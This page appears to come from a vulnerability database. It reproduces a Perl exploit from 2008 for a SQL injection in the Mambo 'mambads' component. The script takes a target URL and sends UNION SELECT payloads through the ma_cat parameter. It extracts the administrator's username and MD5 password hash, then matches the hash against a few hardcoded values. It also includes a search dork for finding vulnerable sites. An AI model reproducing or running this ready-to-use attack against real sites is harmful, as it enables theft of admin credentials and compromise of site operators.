Lucene search
K

Mambo Component mambads <= 1.0 RC1 Beta SQL Injection Vulnerability

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 25 Views

Mambo Component mambads 1.0 RC1 Beta SQL Injection Vulnerabilit

Code

                                                #!/usr/bin/perl -w

#   Mambo Component mambads  1.0 RC1 Beta & 1.0 RC1 Remote SQL Injection #
########################################
#[*] Found by : Houssamix From H-T Team 
#[*] H-T Team [ HouSSaMix + ToXiC350 ] from MoroCCo
#[*] Greetz : Stack & CoNaN & HaCkeR_EgY & room-hacker & Hak3r-b0y & All friends & All muslims HaCkeRs  :) 
#[*] Script_Name: &#34;Mambo&#34;
#[*] Component_Name: mambads  1.0 RC1 Beta & 1.0 RC1
#[*] Dork: index.php?option=com_mambads


system(&#34;color f&#34;);
print &#34;\t\t########################################################\n\n&#34;;
print &#34;\t\t#                        Viva Islam                    #\n\n&#34;;
print &#34;\t\t########################################################\n\n&#34;;
print &#34;\t\t# Mambo Component mambads  Remote SQL Injection		  #\n\n&#34;;
print &#34;\t\t# H-T Team [HouSSaMiX - ToXiC350]	            	  #\n\n&#34;;
print &#34;\t\t########################################################\n\n&#34;;

use LWP::UserAgent;

print &#34;\nEnter your Target (http://site.com/mambo/): &#34;;
	chomp(my $target=&#60;STDIN&#62;);

$uname=&#34;username&#34;;
$passwd=&#34;password&#34;;
$magic=&#34;mos_users&#34;;
$pass1=&#34;imambo&#34;;
$pass2=&#34;aspen&#34;;
$pass3=&#34;ligio&#34;;
$pass4=&#34;qwally&#34;;

$b = LWP::UserAgent-&#62;new() or die &#34;Could not initialize browser\n&#34;;
$b-&#62;agent(&#39;Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)&#39;);

$host = $target . &#34;/index.php?option=com_mambads&Itemid=45&func=view&ma_cat=99999%20union%20select%20concat(CHAR(60,117,115,101,114,62),&#34;.$uname.&#34;,CHAR(60,117,115,101,114,62))from/**/&#34;.$magic.&#34;/**&#34;;
$res = $b-&#62;request(HTTP::Request-&#62;new(GET=&#62;$host));
$answer = $res-&#62;content;

print &#34;\n[+] The Target : &#34;.$target.&#34;&#34;;

if ($answer =~ /&#60;user&#62;(.*?)&#60;user&#62;/){
       
		print &#34;\n[+] Admin User : $1&#34;;
}
$host2 = $target . &#34;/index.php?option=com_mambads&Itemid=45&func=view&ma_cat=99999%20union%20select%20&#34;.$passwd.&#34;/**/from/**/&#34;.$magic.&#34;/**&#34;;
$res2 = $b-&#62;request(HTTP::Request-&#62;new(GET=&#62;$host2));
$answer = $res2-&#62;content;
if ($answer =~/([0-9a-fA-F]{32})/){
		print &#34;\n[+] Admin Hash : $1\n\n&#34;;
		print &#34;#   Exploit succeed!  #\n\n&#34;;
}
else{print &#34;\n[-] Exploit Failed...\n&#34;;
}
if ($answer =~/697d54f398600b7ff10860a4422a6ea3/){print &#34;[+] md5 cracked :&#34;.$pass4.&#34;\n\n&#34;;}
if ($answer =~/53138ba09b49380fea0aa99bb9ab511d/){print &#34;[+] md5 cracked :&#34;.$pass3.&#34;\n\n&#34;;}
if ($answer =~/68e3d2564cb5858e2b69f1f49dfe40a3/){print &#34;[+] md5 cracked :&#34;.$pass1.&#34;\n\n&#34;;}
if ($answer =~/91a343c02e6c4e10b023216ecfcd69e7/){print &#34;[+] md5 cracked :&#34;.$pass2.&#34;\n\n&#34;;}

# codec  by Houssamix From H-T Team
# special thx to : StaCk 

# milw0rm.com [2008-05-29]

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

01 Jul 2014 00:00Current
7.1High risk
Vulners AI Score7.1
25